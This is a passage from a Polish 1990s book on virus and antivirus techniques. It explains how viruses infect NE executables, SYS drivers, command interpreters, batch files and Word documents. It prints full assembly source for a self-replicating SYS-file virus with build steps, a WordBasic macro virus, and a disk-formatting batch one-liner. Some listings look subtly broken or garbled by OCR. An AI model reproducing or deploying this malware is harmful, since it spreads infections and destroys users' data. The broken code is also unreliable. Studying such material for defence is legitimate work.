Infekując pliki nowe EXE (za pomocą opisanej w poprzednim rozdziale metody) musimy na początku sprawdzić, czy rzeczywiście jest to plik tego typu. Porównujemy dwa pierwsze bajty pliku z sekwencją 'MZ' lub 'ZM' (na tym etapie nie jest ważne, dla jakiego systemu przeznaczony jest plik). Następnie, jeżeli porównanie wypadło pomyślnie, należy sprawdzić, czy na pozycji 18h-19h w nagłówku starego EXE znajduje się wartość 40h lub większa. Jeśli tak, to należy spróbować odczytać ewentualny nagłówek nowego EXE, w którym znajduje się odpowiedni znacznik (dwa znaki ASCII) informujący o systemie, dla którego program jest przeznaczony. Typowe znaczniki zawarto w poniższej tabeli.
Znaczniki rozszerzonego nagłówka nowych plików EXE
|
Znacznik |
Docelowy system |
|
NE |
Windows lub OS/2 1.x, z podziałem na segmenty |
|
LE |
Windows virtual device driver (VxD) z liniowym adresowaniem (Linear Executable) |
|
LX |
Wariant LE, używany przez OS/2 2.x |
|
W3 |
Plik WIN386.EXE dla Windows; kolekcja plików LE |
|
PE |
Windows NT lub Win32s (Portable Executable) |
|
DL |
HP 100LX/200LX (Pliki *.EXM) |
|
MP |
Stare pliki PharLap (pliki *.EXP) |
|
P2 |
PharLap 286 (pliki *.EXP) |
|
P3 |
PharLap 386 (pliki *.EXP) |
4.1.2.2.1. Pliki EXE dla Windows (NE)
W przypadku programów dla Windows (znacznik NE) infekcja plików polegać może na odpowiedniej modyfikacji pól nagłówka NE oraz dodatkowo tablicy segmentów zawartych w programie, którą trzeba rozszerzyć o segment identyfikujący miejsce w pliku, w którym znajduje się kod wirusa. Ze względu na to, iż rozszerzenie tablicy segmentów wiąże się z koniecznością przesunięcia całego następującego po niej kodu programu (najczęściej bardzo długiego), jako jedno z rozwiązań proponuje się zmniejszenie rozmiaru programu STUB i przesunięcie tylko początkowej części pliku (w tym wypadku cofnięcie części nagłówka) w tak wygospodarowane miejsce.
Format nagłówka pliku nowy EXE (NE) dla Windows pokazano poniżej.
Format nagłówka plików nowy EXE (NE) dla Windows
|
Adres |
Zawartość |
|
00-01 |
znacznik pliku, bajty 'NE' |
|
02-03 |
numer wersji programu linkującego (najpierw bardziej znacząca, potem mniej znacząca część) |
|
04-05 |
offset względem początku nagłówka do tablicy wejść; format tablicy wejść jest następujący 00 liczba wejść (00, jeżeli koniec listy) 01 numer segmentu (00, jeżeli koniec listy) 02 pierwszy rekord 05 drugi rekord ......... Każdy rekord ma format 00 flagi: bit 0: EXPORTED bit 1: SINGLE DATA bity 2-7: nie używane 01-02 ofset w segmencie |
|
06-07 |
długość (w bajtach) tablicy wejść |
|
08-0B |
kod korekcyjny (CRC) pliku |
|
0C |
flagi programu; znaczenie poszczególnych bitów 0-1 DGROUP 0 = nie ma 1 = SINGLE SHARED 2 = MULTIPLE (UNSHARED) 3 = (NULL) 2 bit globalnej inicjalizacji 3 program tylko dla trybu chronionego 4 program zawiera instrukcje 8086 5 program zawiera instrukcje 80286 6 program zawiera instrukcje 80386 7 program zawiera instrukcje 80x87 |
|
0D |
flagi aplikacji; znaczenie poszczególnych bitów: 0-2 typ aplikacji 001 pełnoekranowa (bez Windows AP! dla trybu chronionego) 010 kompatybilna z Windows API dla trybu chronionego 011 używa Windows API dla trybu chronionego 3 aplikacja przeznaczona dla OS/2 5 0=wykonywalna, 1=błędy w obrazie pliku 6 niezgodny typ programu (stos nie jest zachowywany) 7 plik DLL lub sterownik (SS:SP: złe wartości, CS:IP wskazuje na procedurę incjalizacji typu FAR, wywoływaną z AX=uchwyt do modułu, zwracająca AX=0 błąd lub AX<>0 poprawna inicjalizacja) |
|
0E-0F |
indeks do segmentu danych typu AUTODATA 10-11 inicjalny rozmiar sterty lokalnej |
|
12-13 |
inicjalny rozmiar stosu, dodany do segmentu danych lub 0000h, gdy DS=SS |
|
14-17 |
wejście do programu (CS:IP), CS oznacza indeks w tablicy segmentów |
|
18-1B |
daleki wskaźnik na stos programu (SS:SP), SS oznacza indeks w tablicy segmentów; jeżeli SS jest typu autodata i SP=OOOOh, wskaźnik stosu ustawiany jest na końcu segmentu danych typu AUTODATA, pod stertą lokalną |
|
1C-1D |
ilość segmentów 1 E-1 F ilość odwołań do modułów |
|
20-21 |
długość (w bajtach) nierezydentnej tablicy nazw |
|
22-23 |
offset względem początku nagłówka do tablicy segmentów, składającej się z rekordów o formacie (pierwszy rekord ma numer 1): 00-01 ofset w pliku (trzeba przesunąć o wartość z pola 32-3 nagłówka, aby uzyskać adres w bajtach) 02-03 długość obrazu pliku (0000h=64K) 04-05 atrybuty segmentu 0 segment danych 1 nie używane 2 REALMODE 3 ITERATED 4 MOVABLE 5 SHARABLE 6 PRELOADED 7 EXECUTE-CODE (kod) lub READ-ONLY (dane) 8 relokacje (bezpośrednio po kodzie w segmencie) 9 istnieją informacje dla debuggera 10,11 bity DPL dla 80286 12 DISCARDABLE 13-15 DISCARD PRIORITY 06-07 ilość bajtów do zaatakowania dla segmentu (0000h = 64K) |
|
24-25 |
offset względem początku nagłówka do tablicy zasobów |
|
26-27 |
offset względem początku nagłówka do tablicy nazw rezydentnych |
|
28-29 |
offset względem początku nagłówka do tablicy odwołań do modułów |
|
2A-2B |
offset względem początku nagłówka do tablicy nazw importowanych (tablica łańcuchów typu string, zakończona łańcuchem o długości 0) |
|
2C-2F |
offset względem początku nagłówka do tablicy nazw nierezydentnych |
|
30-31 |
ilość ruchomych punktów wejściowych zawartych w tablicy wejść |
|
32-33 |
wyrównanie strony (0=9 strona o rozmiarze 2 shl 9=512 bajtów) |
|
34-35 |
ilość wejść do tablic zasobów |
|
36 |
docelowy system operacyjny 00h nieznany 01h OS/2 02h Windows 03h Europejska wersja MS-DOS 4.x 04h Windows 386 05h BOSS (Borland Operating System Services) 81h PharLap 286IDOS-Extender, OS/2 82h PharLap 286IDOS-Extender, Windows |
|
37 |
dodatkowe flagi programu 0 używa długich nazw plików 1 tryb chroniony 2.X 2 proporcjonalna czcionka 2.X 3 0=gangload: nie ma, 1=gangload: jest |
|
38-39 |
offset do strefy gangload |
|
3A-3B |
offset do segmentu odwołańi do strefy gangload |
|
3C-3D |
minimalny rozmiar kodu wymienialnego |
|
3E-3F |
spodziewana wersja systemu Windows (mniej znacząca część jako pierwsza, bardziej znacząca część jako druga) |
Format tablicy relokacji pliku nowy EXE (NE) dla Windows
|
Adres |
Zawartość |
|
00-01 |
ilość rekordów w tablicy relokacji |
|
02 |
kolejne elementy tablicy relokacji; jeden rekord tablicy relokacji zajmuje 8 bajtów i ma format: 00 typ rekordu 00 LOBYTE 02 BASE 03 PTR 05 OFFS 0B PTR48 0D OFFS32 01 flagi rekordu bit 2: addytywny 02-03 offset w segmencie 04-05 docelowy adres segmentu 06-07 docelowy adres offsetu |
|
|
|
|
|
|
Format danych zawartych w tablicy zasobów pliku nowy EXE (NE) dla Windows
|
Adres |
Zawartość |
|
00-01 |
Wartość przesunięcia do dopasowania |
|
02 |
Kolejne rekordy zasobów o formacie: 00-01 identyfikator 0000 koniec rekordów >= 8000h typ INTEGER w przeciwnym wypadku offset względem początku zasobów do łańcucha 02-03 ilość zasobów danego typu 04-07 zarezerwowane 08 początek zasobów |
Format danych zawartych w zasobach pliku nowy EXE (NE) dla Windows
|
00-01 |
ofset (w dopasowanych jednostkach) do zawartości zasobów |
|
02-03 |
rozmiar zasobów w bajtach |
|
04-05 |
flagi zasobów bit 4: MOVEABLE bit5:SHAREABLE bit 6: PRELOADED |
|
06-07 |
typ zasobów; =8000 zasoby typu Integer |
|
08-0B |
zarezerwowane |
Format tablicy odwołań do modułów w pliku nowy EXE (NE) dla Windowa
|
Adres |
Zawartość |
|
00 |
ilość rekordów w paczce (0=koniec tablicy) |
|
01 |
znacznik segmentu: 00 nie używany FF MOVEABLE lub FIXED |
|
02 |
kolejne rekordy, każdy o formacie: 00 flagi bit 0: wejście jest eksportowane bit 1: wejście używa globalnych (współużywalnych) danych bity 7-3: ilość stów parametrów dla segmentu FIXED 01-02 ofset dla segmentu MOVEABLE 01-02 INT 3F (kod instrukcji: CDh 3Fh) 03 numer segmentu 05-06 ofset |
Format tablicy nazw rezydentnych/nierezydentnych w pliku nowy EXE (NE) dla
|
Adres |
Zawartość |
|
00 |
długość łańcucha (00=koniec tablicy) |
|
01-N |
łańcuch ASCII |
|
N+1-N+2 |
numer porządkowy w tablicy |
Wygląd zainfekowanego opisaną wcześniej metodą pliku EXE przed i po infekcji przedstawiony został w poniższych tabelach.
Wygląd niezainfekowanego pliku NE dla Windows
|
Zawartość pliku |
|
program STUB dla DOS Nagłówek programu STUB Kod programu STUB właściwy program dla Windows: Nagłówek NE Tablica segmentów Tablice z danymi o zasobach Kod programu dla Windows |
Wygląd zainfekowanego pliku NE dla Windows
|
Zawartość pliku |
|
program STUB dla DOS Nagłówek programu STUB Zmniejszony kod programu STUB właściwy program dla Windows zarażony wirusem: Nagłówek NE, cofnięty względem oryginalnej pozycji Tablica segmentów, cofnięta względem oryginalnej pozycji, rozszerzona przez wirusa o segment wskazujący na kod wirusa (na końcu pliku) Tablice z danymi o zasobach Kod programu dla Windows Kod wirusa |
4.1.3. Pliki zawierające sterowniki urządzeń SYS (BIN, DRV)
Pliki SYS zawierają tzw. sterowniki urządzeń blokowych lub znakowych, które mogą rozszerzać możliwości systemu DOS. Sterowniki te są ładowane tylko raz, w momencie startu systemu, na podstawie poleceń zawartych w pliku CONFIG.SYS (w Windows 95 także na podstawie MSDOS.SYS). Do ładowania sterowników DOS wykorzystuje funkcję (4B00/21), a więc tę samą, co w przypadku programów EXE i COM, jednak dla uruchamianego sterownika nie jest tworzony blok wstępny programu (PSP).
Na początku plików typu SYS znajduje się sformatowany nagłówek, zawierający dane dla systemu DOS, który poprzez zawarte w nim informacje może komunikować się ze sterownikiem. Format pliku SYS i jego nagłówka przedstawiono w poniższych tabelach.
Zawartość pliku SYS
|
Zawartość |
|
Nagłówek pliku SYS (patrz następna tabela) Kod sterownika |
Format nagłówka pliku SYS
|
00-03 |
Wskaźnik do następnego programu obsługi urządzenia, standardowo == 0FFFFFFFFh, co jest sygnałem dla systemu, iż plik zawiera tylko 1 sterownik. Gdyby plik zawierał więcej sterowników, w polu tym byłby zawarty adres kolejnego sterownika w pliku. |
|
04-05 |
Atrybuty urządzenia, informują o przeznaczeniu sterownika |
|
06-07 |
Adres procedury strategii (względem początku nagłówka). Procedura strategii służy do odebrania pakietu zlecenia od systemu DOS. |
|
08-09 |
Adres procedury przerwania (względem początku nagłówka), która na podstawie pakietu zlecenia, przyjętego przez procedurę strategii, wykonuje odpowiednie czynności, |
|
0A-0F |
Nazwa urządzenia znakowego (8 znaków) lub liczba jednostek dla urządzenia blokowego (1 bajt wykorzystany+7 bajtów rezerwowych). |
Aby zainfekować plik SYS, wystarczy zmienić adres którejś z procedur zawartych w polach 06h-07h lub 08h-09h tak, aby wskazywał on na kod wirusa, który zostaje dopisywany na końcu pliku. Po wczytaniu przez DOS zarażonego w ten sposób pliku zawsze zostaje wywołana procedura inicjalizacji sterownika, co pozwala wirusowi natychmiast zainstalować się w systemie, a następnie oddać sterowanie oryginalnemu programowi obsługi.
Alternatywnym (i chyba prostszym) sposobem zarażenia plików SYS jest wykorzystanie faktu, iż plik taki może zawierać więcej niż jeden sterownik. Aby zainfekować plik SYS, wystarczy więc na początku pliku zmienić pole 00-03 tak, aby wskazywało ono na koniec pliku, gdzie należy dodać kod wirusa, którego wygląd będzie podobny do zwykłego sterownika (będzie posiadał nagłówek oraz procedury strategii i przerwań). Podczas inicjacji DOS uruchomi oba zawarte w pliku sterowniki i w efekcie umożliwi działanie wirusowi. Jak widać, sposób infekcji tych plików jest bardzo prosty, stąd dziwi trochę fakt, iż stosunkowo mała liczba wirusów potrafi je zarażać.
Wygląd pliku SYS po zarażeniu pokazano w poniższych tabelach.
Zainfekowany plik SYS (ze zmianą adresów procedur w nagłówku)
|
Zawartość pliku |
|
Nagłówek sterownika ze zmienionymi adresami procedur strategii lub przerwania Kod sterownika Kod wirusa |
Zainfekowany plik SYS (drugi fałszywy sterownik)
|
Zawartość pliku |
|
Nagłówek sterownika ze zmianą adresu wskazującego na położenie drugiego sterownika w pliku Kod sterownika Nagłówek fałszywego sterownika (wirusa) Kod wirusa |
Ponizej przedstawiono przyklad prostego nierezydentnego wirusa infekujacego pliki SYS.
;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; SYZYF v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Prosty wirus nierezydentny plikow SYS ;
; Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden ;
; znajdujace sie w biezacym katalogu ;
; ;
; Kompilacja : ;
; TASM SYZYF.ASM ;
; TLINK SYZYF.OBJ ;
; MAKESYS SYZYF.EXE ;
; ;
;----------------------------------------------------------------------------;
SYZYF SEGMENT
JUMPS
ASSUME CS:SYZYF, DS:SYZYF
ORG 0000h ; SYS nie potrzebuje PSP
NUL = 00h ; \
LF = 0Ah ; - stale znakow
CR = 0Dh ; / ASCII
AtrReadOnly = 00000001b ; \
AtrHidden = 00000010b ; \
AtrSystem = 00000100b ; \ rozne stale atrybutow
AtrVolumeID = 00001000b ; / pozycji katalogu
AtrDirectory = 00010000b ; /
AtrArchive = 00100000b ; /
Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrVolumeID
; atrybut poszukiwanej pozycji
; katalogu
VirusDlug = offset (VirusEnd-VirusStart) ; dlugosc kodu wirusa
VRok = 1998 ; \ data opisujaca
VMiesiac = 13 ; - pliki juz zainfekowane
VDzien = 31 ; /
VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien
DTAStruc struc ; struktura DTA bufora transmisji
; dyskowych uzywanych przez
; funkcje 4E i 4F
DTAFill db 21 dup (?) ; nieistotna czesc
DTAAttr db ? ; atrybut znalezionej pozycji
DTATime dw ? ; czas znalezionej pozycji
DTADate dw ? ; data znalezionej pozycji
DTASize dd ? ; dlugosc znalezionej pozycji
DTAName db 13 dup (?) ; nazwa znalezionej pozycji
DTAStruc ends
NAGL struc
NAGLAdres dd ? ; Adres nastepnego sterownika
NAGLAtrybut dw ? ; atrybuty sterownika
NAGLStrategia dw ? ; adres obslugi strategii
NAGLPrzerwanie dw ? ; adres obslugi przerwania
NAGLNazwa db 8 dup(?) ; nazwa sterownika
NAGL ends
Start:
SYSNagl NAGL <0FFFFFFFFh,8000h,ProceduraStrategii,ProceduraPrzerwania,'SYZYF'>
; tu jest naglowek
VirusStart: ; tu zaczyna sie kod wirusa
ProceduraPrzerwania:
push ax ; \
push bx ; \
push cx ; \ zachowaj
push dx ; \ zmieniane
push si ; / rejestry
push di ; /
push ds ; /
push es ; /
Call Trik
Trik:
pop si
sub si,offset Trik
push cs ; \ DS=CS
pop ds ; /
mov ax,[si][StarePrzerwanie] ; zachowaj adres do nosiciela
mov [si][SkokIP],ax
mov [si][SkokCS],cs
lea dx,[si][TeInformacja] ; podaj gdzie jest tekst
Call Informacja ; spytaj o uruchomienie wirusa
jnc Infekcja ; gdy CF=1, nie uruchamiaj
jmp BezInfekcji ; NIE - nie infekuj
Infekcja:
mov ah,2Fh ; funkcja DOS - pobierz adres DTA
int 21h ; wywolaj funkcje DOS
mov word ptr [si][DTASegOfs+2],bx ; \ zachowaj akualny adres DTA,
mov word ptr [si][DTASegOfs+2],es ; / aby mozna bylo go przywrocic
lea dx,[si][NoweDTA] ; miejsca gdzie bedzie nowe DTA
mov ah,1Ah ; funkcja DOS - ustaw nowe DTA
int 21h ; wywolaj funkcje DOS
lea dx,[si][MaskaSYS] ; maska poszukiwanych plikow '*.SYS'
mov cx,Atrybut ; podaj atrybut poszukiwanej pozycji
mov ah,4Eh ; funkcja DOS - szukaj pierwszej
; pozycji katalogu
int 21h ; wywolaj funkcje DOS
jc NieMaPlikuSYS ; gdy CF=1, to blad
KolejnyPlik:
cmp [si][NoweDTA.DTADate],VZnacznik ; czy znaleziony plik jest juz
; zarazony ?
je SzukajNastepnyPlik ; tak = szukaj nastepny
mov ax,word ptr [si][NoweDTA.DTASize+2]
; pobierz starsza czesc dlugosci
; pliku
or ax,ax ; czy plik krotszy niz 65536 ?
jnz SzukajNastepnyPlik ; nie - szukaj nastepnego
mov ax,word ptr [si][NoweDTA.DTASize]; pobierz dlugosc pliku
cmp ax,64000 ; czy dlugosc <= 64000 ?
ja SzukajNastepnyPlik ; nie - szukaj nastepnego
mov cx,AtrArchive ; podaj nowy atrybut : Archive
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do odczytu
mov ax,3D02h ; funkcja DOS - otworz plik
; do odczytu i zapisu
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad
xchg ax,bx ; przenies uchwyt pliku do BX
mov cx,size NAGL ; ilosc czytanych bajtow
lea dx,[si][CzytNAGL] ; podaj dokad czytac 3 bajty
mov ah,3Fh ; funkcja DOS - czytaj z pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov ax,word ptr [si][CzytNagl.NaglAdres]
; wez 4 bajty z pliku do AX i DX
mov dx,word ptr [si][CzytNagl.NaglAdres+2]
cmp ax,0FFFFh ; czy AX=0FFFFh ?
jne ZamknijPlik ; NIE - szukaj innego plik
cmp ax,dx ; czy AX=DX=0FFFFh ?
jne ZamknijPlik ; NIE - szukaj inny plik
; TAK - na poczatku pliku jest
; 0FFFFFFFFh
mov ax,word ptr [si][CzytNagl.NaglPrzerwanie]
mov [si][StarePrzerwanie],ax ; wez adres przerwania
xor cx,cx ; \ zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem konca pliku
mov ax,4202h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na koniec pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov [si][CzytNAGL.NaglPrzerwanie],ax
mov cx,VirusDlug ; ilosc zapisywanych bajtow
lea dx,[si][VirusStart] ; podaj skad zapisac wirusa
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
xor cx,cx ; \ CX:DX zawieraja
xor dx,dx ; / adres wzgledem poczatku pliku
mov ax,4200h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na poczatek pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1 to blad
mov cx,size NAGL ; ilosc zapisywanych bajtow
lea dx,[si][CzytNAGL] ; podaj skad zapisac
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,[si][NoweDTA.DTATime] ; przywroc czas z bufora DTA
mov dx,VZnacznik ; zaznacz infekcje pliku
mov ax,5701h ; funkcja DOS - wpisz date, czas
int 21h ; wywolaj funkcje DOS
ZamknijPlik:
mov ah,3Eh ; funkcja DOS - zamknij plik
int 21h ; wywolaj funkcje DOS
PrzywrocAtrybut:
mov cl,[si][NoweDTA.DTAAttr] ; podaj stary atrybut
mov ch,0 ; CX=CL
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h ; wywolaj funkcje DOS
SzukajNastepnyPlik: ; poprzedni plik byl zarazony
mov ah,4Fh ; funkcja DOS - szukaj innego
; pliku SYS
int 21h ; wywolaj funkcje DOS
jnc KolejnyPlik ; gdy CF=1, to blad
NieMaPlikuSYS:
lds dx, dword ptr cs:[si][DTASegOfs] ; przywroc pierwotne DTA
mov ah,1Ah ; funkcja DOS - ustaw nowe DTA
int 21h ; wywolaj funkcje DOS
BezInfekcji:
pop es ; \
pop ds ; \
pop di ; \ przywroc
pop si ; \ zmieniane
pop dx ; / rejestry
pop cx ; /
pop bx ; /
pop ax ; /
db 0EAh ; powrot do nosiciela
SkokIP dw ?
SkokCS dw ?
MaskaSYS db '*.SIS' ; maska plikow SYS (ASCIIZ)
; Czesc Informayjna ; wyswietla pytanie do uzytkownika
Informacja: ; czy chce uruchomic wirusa
push ax si
cld
mov si,dx
NastepnyZnak:
lods byte ptr cs:[si] ; kolejny znak komunikatu
or al,al ; czy koniec tekstu ?
jz InformacjaTxtOK ; TAK - koniec pisania
mov ah,0Eh ; pisz znak z AL
int 10h ;
jmp short NastepnyZnak
InformacjaTxtOK:
mov ah,0
int 16h
and al,11011111b ; konwertuj znak na wielka litere
cmp al,'T' ; czy potwierdzona infekcja
clc ; ustaw flage na TAK
je CLCRet ; TAK i powrot
stc ; ustaw flage na NIE i powrot
CLCRet:
pop si ax
ret ; powrot
TeInformacja db CR,LF,'SYZYF v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF
db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'
db CR,LF,NUL
StarePrzerwanie dw offset Nosiciel
VirusEnd:
NoweDTA DTAStruc <?,?,?,?,?,?>
DTASegOfs dd ?
CzytNagl NAGL <>
ProceduraStrategii: ; na wejsciu ES:BX adres
; do pakietu zlecenia
mov word ptr cs:[AdresZlecenia],bx ; \ pobierz adres i zachowaj
mov word ptr cs:[AdresZlecenia+2],es; / go na pozniej
retf ; powrot z procedury
; strategii
AdresZlecenia dd ?
Nosiciel:
push ds ax bx
lds bx,dword ptr cs:[AdresZlecenia] ; pobierz adres pakietu
; zlecenia
xor ax,ax ;
mov word ptr ds:[bx+0Eh],ax ;
mov word ptr ds:[bx+10h],cs ;
mov byte ptr ds:[bx+0Dh],1 ;
mov word ptr ds:[bx+03h],8102h ;
pop bx ax ds
retf
SYZYF ENDS
END Start
4.1.4. Pliki systemowe DOS
4.1.4.1. Interpretator poleceń
Infekcja interpretatora poleceń (najczęściej plik COMMAND.COM) w zasadzie przebiega tak samo jak w przypadku innych plików COM lub EXE (tylko we wcześniejszych wersjach systemu DOS plik ten był typu COM). Szybkie infektory najczęściej szukają w otoczeniu programu łańcucha COMSPEC, będącego zmienną środowiskową systemu DOS, zawierającą pełną nazwę (łącznie ze ścieżką) interpretatora poleceń, i po znalezieniu od razu go infekują.
Inny sposób dotarcia do pliku interpretatora poleceń polega na zamazaniu części jego kodu, leżącego w pamięci służącej do analizowania i wykonywania poleceń. W rezultacie przy wykonywaniu jakiegoś polecenia z poziomu systemu DOS plik z interpretatorem poleceń będzie musiał zostać ponownie załadowany do pamięci, a wtedy wirus będzie mógł go zainfekować. Zarażając interpretator poleceń warto pamiętać o tym, iż posiada on na swym końcu pusty (wypełniony zerami) obszar przeznaczony na stos, który jest na tyle długi, iż można go wykorzystać, aby wpisać tam kod wirusa, co umożliwi wirusowi zainfekowanie go i przez to pozostawić długość pliku niezmienioną (pomimo zmienionej zawartości).
4.1.4.2. Jądro systemu (ang. kernel infector)
Jądro systemu zawarte jest najczęściej w pliku IO.SYS, choć zależy to od konkretnej realizacji systemu. Pomimo swego rozszerzenia plik IO.SYS nie jest typowym sterownikiem, jakie zwykle zawarte są w plikach SYS, lecz programem o strukturze bardziej przypominającej pliki COM lub EXE, tak więc próby infekowania go jako sterownika SYS spowodują jego zniszczenie i w efekcie zawieszenie systemu po starcie komputera. Wirusy infekujące plik IO.SYS najczęściej zapamiętują początek pliku w innym miejscu na dysku (najczęściej w jakiś sposób ukrytym), a na początek pliku IO.SYS nadpisują swój kod. Po starcie systemu
program zawarty w BOOT-sektorze, ładuje zainfekowany plik. Sterowanie przekazywane jest do wirusa, który po instalacji wczytuje oryginalną zawartość pliku i oddaje do niego sterowanie.
4.1.5. Pliki wsadowe BAT
Wirusy typu batch nie są programami komputerowymi, lecz skryptami, które modyfikują pliki o rozszerzeniu BAT. Na kod takiego wirusa mogą się składać:
> polecenia: CALL, CD, COPY, DEL, DIR, ECHO, FOR, GOTO, IF/
REM, RD, REN, SET, SHIFT, TYPE;
> parametry wejściowe: %0 nazwa programu, %1-%9 parametry
programu;
> operatory zmiany przyporządkowania strumieni wejściowych i
wyjściowych: <, >, », |;
> nazwy zarezerwowane przez system DOS: urządzenie NUL;
> programy tradycyjnie dostarczane z systemem DOS: debugger DEBUG, ATTRIB,
FIND, FORMAT; sterownik ANSI.SYS;
> pola etykiet, wykorzystywane np. do pominięcia linii, w której może być kod
maszynowy (opisane w jednym z poprzednich rozdziałów).
Na uwagę zasługują wspomniane wyżej operatory zmiany przyporządkowania strumieni wyjściowych. Ich działanie może bowiem zostać wykorzystane do dość brutalnej destrukcji. Normalnie użycie polecenia FORMAT C: czy DEL *.* wymaga potwierdzenia przez użytkownika, który może zgodzić się lub nie na dokonywaną operację. Zmiana przyporządkowania strumieni umożliwia zasymulowanie naciśnięcia przez użytkownika jakiegoś klawisza (lub ich sekwencji), w tym wypadku potwierdzających daną operację. W efekcie polecenie zacznie się wykonywać bez żadnej kontroli ze strony użytkownika!
Poza tym, skierowanie wszystkich komunikatów do urządzenia NUL może spowodować, iż o wykonywanych operacjach użytkownik dowie się dopiero po ich zakończeniu.
Przykładem może być poniższe polecenie, po którego wykonaniu dysk twardy zostanie sformatowany.
ECHO Y | FORMAT C: NUL
Powyższy przykład powinien przekonać każdego o celowości przeglądania nieznanych plików wsadowych przed ich pochopnym uruchomieniem, aby uchronić się przed niezbyt miłymi konsekwencjami.
4.1.6. Pliki DOC
Pliki DOC są tworzone przez popularny edytor tekstów MS Word. Wirusy przemieszczające się w tych plikach wykorzystują język Word Basie, wbudowany w ten program. Przy jego pomocy użytkownik może tworzyć własne lub też przedefiniowywać już istniejące makra-Wirusy atakujące dokumenty Worda wykorzystują fakt, iż program ten ma kilka zdefiniowanych makr o specjalnym, wyjaśnionym w tabeli poniżej, znaczeniu, których przejęcie umożliwia zainfekowanie każdego otwieranego lub zamykanego dokumentu.
Przy wczytywaniu zainfekowanego dokumentu uruchamiane jest na przykład makro AutoOpen, które kopiuje wszystkie zdefiniowane w wirusie makra do pliku NORMAL.DOT (globalny szablon zawierający definicje wszystkich podstawowych stylów, makr itd., używanych w edytorze). Od tej chwili każdy otwierany, zachowywany (zależy to od przejętego makra) plik DOC będzie zarażany. Infekcja polega na przerobieniu pliku DOC na DOT (czyli na plik zawierający szablon) i dopisaniu do niego makr wirusa. Operacja ta musi być wykonywana, ponieważ zwykły plik DOC nie może zawierać w sobie definicji makr.
Makra MS Word o ustalonym znaczeniu
|
Nazwa makra |
Opis makra |
|
AutoExec |
uruchamiane podczas rozpoczynania rozpoczynania pracy z Wordem z szablonu globalnego zawartego w pliku NORMAL.DAT |
|
AutoNew |
uruchamiane podczas tworzenia nowego dokumentu |
|
AutoOpen |
uruchamiane podczas otwierania dokumentu |
|
AutoClose |
uruchamiane podczas zamykania dokumentu |
|
AutoExit |
uruchamiane podczas kończenia pracy z Wordem |
Przykładem prostego wirusa dla dokumentów Worda może być poniższy program, który składa się z dwóch makr: FileSave i AutoOpen. Pierwsze z nich służy do infekcji plików DOC podczas ich zachowywania, natomiast drugie dopisuje do szablonu NORMAL.DOT dwa powyższe makra bezpośrednio po otwarciu zainfekowanego dokumentu (w rezultacie instaluje go rezydentnie w Wordzie). Aby wirus zbudowany z powyższych makr zadziałał, należy je umieścić w dowolnym (najlepiej nowym) dokumencie. Operację tę najprościej przeprowadzić przy pomocy opcji NARZĘDZIA/MAKRO/UTWÓRZ, Poniższe makra zawierają fragmenty kodu, umożliwiające kontrolowane uruchamianie wirusa (wirus prosi użytkownika o potwierdzenie wszystkich wykonywanych przez siebie operacji).
Zawartość makra: AutoOpen
Sub MAIN
On Error Goto AutoOpen_Error
Tyt$ = "Nowoczesne techniki wirusowe i antywirusowe,
Autor Adam B│aszczyk"
Uwg$ = "Uwaga MakroWirus, Chcesz go zainstalowaµ ?" TiN = 256 +48+4 Prz = MsgBox(Uwg$, Tyt$, TiN) If (Prz = - l) Then MacroCopy WindowName$() + ":AutoOpen",
"Globalne:AutoOpen" MacroCopy WindowName$() + ":FileSave",
"Globalne:FileSave"
MsgBox "Wirus dopisa│ siÛ do NORMAL.DOT, Sam tego chcia│e£ !!!", Tyt$, 64
End If AutoOpen_Error:
End Sub
Zawartość makra: FileSave
Sub MA1N FileSave On Error Goto FileSave_Error
Tyt$ = "Nowoczesne techniki wirusowe i antywirusowe,
Autor Adan B│aszczyk" Uwg$ = "Czy chcesz zainfekowaµ '" + WindowName$() + "'
makrowirusem ?"
TiN = 256 +48+4
Prz = MsgBox(Uwg$, Tyt$, TiN)
If (Prz = - 1) Then
MacroCopy "Globalne:AutoOpen", WindowName$() +
":AutoOpen" MacroCopy "Globalne: FileSave" , WindowName$ () +
":FileSave" FileSaveAs .Format - l
Tek$ = "Wirus dopisa│ siÛ do '" + WindowName$() + "'" MsgBox Tek$, Tyt$, 64 FileSave
End lf
rem fileSave
FileSave_Error:
End Sub
Powyższy wirus zadziała tylko w polskojęzycznej wersji MS Word (w wersjach dla innych języków zmieniają się nazwy procedur oraz szablonów).
Ze względu na oferowaną przez Worda możliwość szyfrowania makr powyższego wirusa można w pewnym sensie uczynić niewidzialnym (pewna forma techniki stealth). Należy w tym celu dodać do polecenia MacroCopy łańcuch 1, który oznacza, iż podczas kopiowania makra będą zaszyfrowane. Użytkownik nie będzie mógł obejrzeć w edytorze zawartości takich makr.
4.1.7. Pliki XLS
